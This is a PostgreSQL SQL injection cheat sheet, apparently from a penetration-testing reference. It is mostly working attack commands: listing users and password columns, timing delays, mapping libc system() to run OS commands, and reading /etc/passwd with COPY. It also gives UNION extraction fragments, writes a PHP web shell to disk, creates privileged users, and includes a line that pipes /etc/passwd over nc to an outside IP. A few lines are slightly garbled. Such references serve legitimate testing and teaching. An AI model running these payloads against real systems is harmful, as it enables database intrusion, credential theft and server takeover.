SELECT 1; --comment
SELECT /*comment*/1;

SELECT user;
SELECT current_user;
SELECT session_user;
SELECT usename FROM pg_user;
SELECT getpgusername();

If you want to list all the table names that contain a column LIKE '%password%':

SELECT DISTINCT relname FROM pg_class C, pg_namespace N, pg_attribute A, pg_type T WHERE (C.relkind='r') AND (N.oid=C.relnamespace) AND (A.attrelid=C.oid) AND (A.atttypid=T.oid) AND (A.attnum>0) AND (NOT A.attisdropped) AND (N.nspname ILIKE 'public') AND attname LIKE '%password%';

SELECT usename FROM pg_user ORDER BY usename LIMIT 1 OFFSET 0; -- rows numbered from 0
SELECT usename FROM pg_user ORDER BY usename LIMIT 1 OFFSET 1;

SELECT 6 & 2; -- returns 2
SELECT 6 & 1; --returns 0

SELECT CAST(1 as varchar);
SELECT CAST('1' as int);

SELECT pg_sleep(10); -- postgres 8.2+ only
CREATE OR REPLACE FUNCTION sleep(int) RETURNS int AS '/lib/libc.so.6', 'sleep' language 'C' STRICT; SELECT sleep(10); --priv, create your own sleep function. Taken from [[http://www.portcullis.co.uk/uplds/whitepapers/Having_Fun_With_PostgreSQL.pdf|here]].

Generally not possible in postgres. However if [[http://www.leidecker.info/pgshell/Having_Fun_With_PostgreSQL.html|contrib/dblink]] is installed (it isn't by default) it can be used to resolve hostnames (assuming you have DBA rights):

SELECT * FROM dblink('host=put.your.hostname.here user=someuser dbname=somedb',
  'SELECT version()') RETURNS (result TEXT);

Alternatively, if you have DBA rights you could run an OS-level command (see below) to resolve hostnames, e.g. "ping pentestmonkey.net".

CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6', 'system' LANGUAGE 'C' STRICT; -- priv

SELECT system('cat /etc/passwd | nc 10.0.0.1 8080'); -- priv, commands run as postgres/pgsql OS-level user

CREATE TABLE mydata(t text);
COPY mydata FROM '/etc/passwd'; -- priv, can read files which are readable by postgres OS-level user
...' UNION ALL SELECT t FROM mydata LIMIT 1 OFFSET 1; -- get data back one row at a time
...' UNION ALL SELECT t FROM mydata LIMIT 1 OFFSET 2; -- get data back one row at a time ...
DROP TABLE mytest mytest;

Write to a file:

CREATE TABLE mytable (mycol text);
INSERT INTO mytable(mycol) VALUES ('<? pasthru($_GET[cmd]); ?>');
COPY mytable (mycol) TO '/tmp/test.php'; --priv, write files as postgres OS-level user. Generally you won't be able to write to the web root, but it's always work a try.
-- priv user can also read/write files by [[http://www.portcullis.co.uk/uplds/whitepapers/Having_Fun_With_PostgreSQL.pdf|mapping libc functions]].

SELECT inet_server_addr(); -- returns db server IP address (or null if using local connection)
SELECT inet_server_port(); -- returns db server IP address (or null if using local connection)

CREATE USER test1 PASSWORD 'pass1'; -- priv
CREATE USER test1 PASSWORD 'pass1' CREATEUSER; -- priv, grant some privs at the same time

SELECT current_setting('data_directory'); -- priv
SELECT current_setting('hba_file'); -- priv

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